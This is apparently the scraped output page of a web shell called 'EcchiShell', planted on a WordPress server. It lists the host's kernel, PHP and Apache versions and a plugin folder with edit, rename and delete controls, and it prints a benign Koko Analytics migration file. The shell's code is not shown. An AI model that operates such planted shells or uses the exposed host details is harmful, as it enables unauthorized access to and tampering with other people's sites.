EcchiShell v1.0

You In Here : /var/www/html/wp-content/plugins/koko-analytics/migrations/

OS : Linux

PHP Version : 7.4.33

Software : Apache/2.4.6 (CentOS) PHP/7.4.33

Information System : Linux apprendre2 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64

Disable Function : NONE

Filename : 1.0.0-initial-schema.php [ view ] [ edit ] [ rename ] [ download ] [ delete ]

<?php

defined('ABSPATH') or exit;

/** @var \wpdb $wpdb */
global $wpdb;

$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}koko_analytics_site_stats");
$wpdb->query(
    "CREATE TABLE {$wpdb->prefix}koko_analytics_site_stats (
           date DATE PRIMARY KEY NOT NULL,
           visitors MEDIUMINT UNSIGNED NOT NULL,
           pageviews MEDIUMINT UNSIGNED NOT NULL
    ) ENGINE=INNODB CHARACTER SET=ascii"
);

$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}koko_analytics_post_stats");
$wpdb->query(
    "CREATE TABLE {$wpdb->prefix}koko_analytics_post_stats (
       date DATE NOT NULL,
       id BIGINT(20) UNSIGNED NOT NULL,
       visitors MEDIUMINT UNSIGNED NOT NULL,
       pageviews MEDIUMINT UNSIGNED NOT NULL,
       PRIMARY KEY (date, id)
    ) ENGINE=INNODB CHARACTER SET=ascii"
);

$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}koko_analytics_referrer_stats");
$wpdb->query(
    "CREATE TABLE {$wpdb->prefix}koko_analytics_referrer_stats (
       date DATE NOT NULL,
       id MEDIUMINT UNSIGNED NOT NULL,
       visitors MEDIUMINT UNSIGNED NOT NULL,
       pageviews MEDIUMINT UNSIGNED NOT NULL,
       PRIMARY KEY (date, id)
    ) ENGINE=INNODB CHARACTER SET=ascii"
);

$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}koko_analytics_referrer_urls");
$wpdb->query(
    "CREATE TABLE {$wpdb->prefix}koko_analytics_referrer_urls (
       id MEDIUMINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
       url VARCHAR(255) NOT NULL,
       UNIQUE INDEX (url)
    ) ENGINE=INNODB CHARACTER SET=ascii"
);

Name	Filetype	Perm	Option
.	dir	drwxrwxr-x	newfile \| newfolder
..	dir	drwxrwxr-x	newfile \| newfolder
1.0.0-initial-schema.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.0.1-change-table-charsets.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.0.2-change-column-types-add-cap-to-administrator.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.0.21-unlink-custom-endpoint-and-update-option.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.0.4-fix-referrer-id-column.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.0.6-ensure-referrer-urls-table-exists.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.0.8-fix-referrer-id-column-again.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.1.1-create-dates-table.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.3.12-delete-invalid-referrers.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.5.4-recreate-endpoints-file.php	file	-rw-r--r--	edit \| rename \| delete \| download
1.6.3-schedule-aggregate-event.php	file	-rw-r--r--	edit \| rename \| delete \| download

./EcchiExploit Copyright © 2026